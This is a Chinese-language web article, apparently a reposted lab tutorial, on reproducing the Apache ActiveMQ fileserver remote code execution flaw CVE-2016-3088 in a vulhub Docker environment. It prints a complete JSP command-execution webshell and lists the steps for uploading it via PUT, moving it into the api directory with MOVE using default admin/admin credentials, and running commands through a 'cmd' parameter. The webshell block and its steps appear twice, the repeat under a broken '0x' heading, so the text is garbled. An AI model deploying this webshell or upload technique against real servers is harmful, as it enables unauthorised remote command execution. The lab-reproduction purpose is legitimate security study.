溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)

發(fā)布時間:2021-12-28 17:40:29 來源:億速云 閱讀:133 作者:柒染 欄目:安全技術

這篇文章將為大家詳細講解有關怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn),文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

0x00 背景簡述

ActiveMQ 是 Apache 軟件基金會下的一個開源消息驅(qū)動中間件軟件。Jetty 是一個開源的 servlet 容器,它為基于 Java 的 web 容器,例如 JSP 和 servlet 提供運行環(huán)境。ActiveMQ 5.0 及以后版本默認集成了jetty。在啟動后提供一個監(jiān)控 ActiveMQ 的 Web 應用。

2016年4月14日,國外安全研究人員 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多個安全漏洞,可使遠程攻擊者用惡意代碼替代Web應用,在受影響系統(tǒng)上執(zhí)行遠程代碼(CVE-2016-3088)。

ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。

fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發(fā)現(xiàn):

1. 其使用率并不高

2. 文件操作容易出現(xiàn)漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已經(jīng)默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。

在測試過程中,可以關注ActiveMQ的版本,避免走彎路。

0x01 漏洞環(huán)境

環(huán)境搭建:https://vulhub.org/#/docs/

# 切換到相應環(huán)境目錄
cd /root/vulhub-master/activemq/CVE-2016-3088
# 開啟
docker-compose up -d
# 查看
docker-compose ps

0x02 漏洞復現(xiàn)

直接寫 shell

寫 shell 的話,需要寫在 admin 或者 api 中,也就是需要登錄,沒有密碼的話完成不了寫 shell 操作。

該環(huán)境默認的口令為 admin/admin。

訪問 http://ip:8161/admin/test/systemProperties.jsp

獲得當前系統(tǒng)的路徑

怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)

上傳 jsp 小馬,返回204,但是在 fileserver 路徑下不解析

# 小馬
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

用bp抓包,PUT小馬

怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)

成功的話,返回 204 No Content,然后在瀏覽器查看

怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)

然后MOVE移動到 api 目錄下,成功的話,返回 204 No Content

怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)

直接訪問http://ip:8161/api/1.jsp?cmd=ls

怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)

證明拿到shell

0x  路徑下不解析

# 小馬
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

用bp抓包,PUT小馬

怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)

成功的話,返回 204 No Content,然后在瀏覽器查看

怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)

然后MOVE移動到 api 目錄下,成功的話,返回 204 No Content

怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)

直接訪問http://ip:8161/api/1.jsp?cmd=ls

怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)

證明拿到shell

關于怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。

AI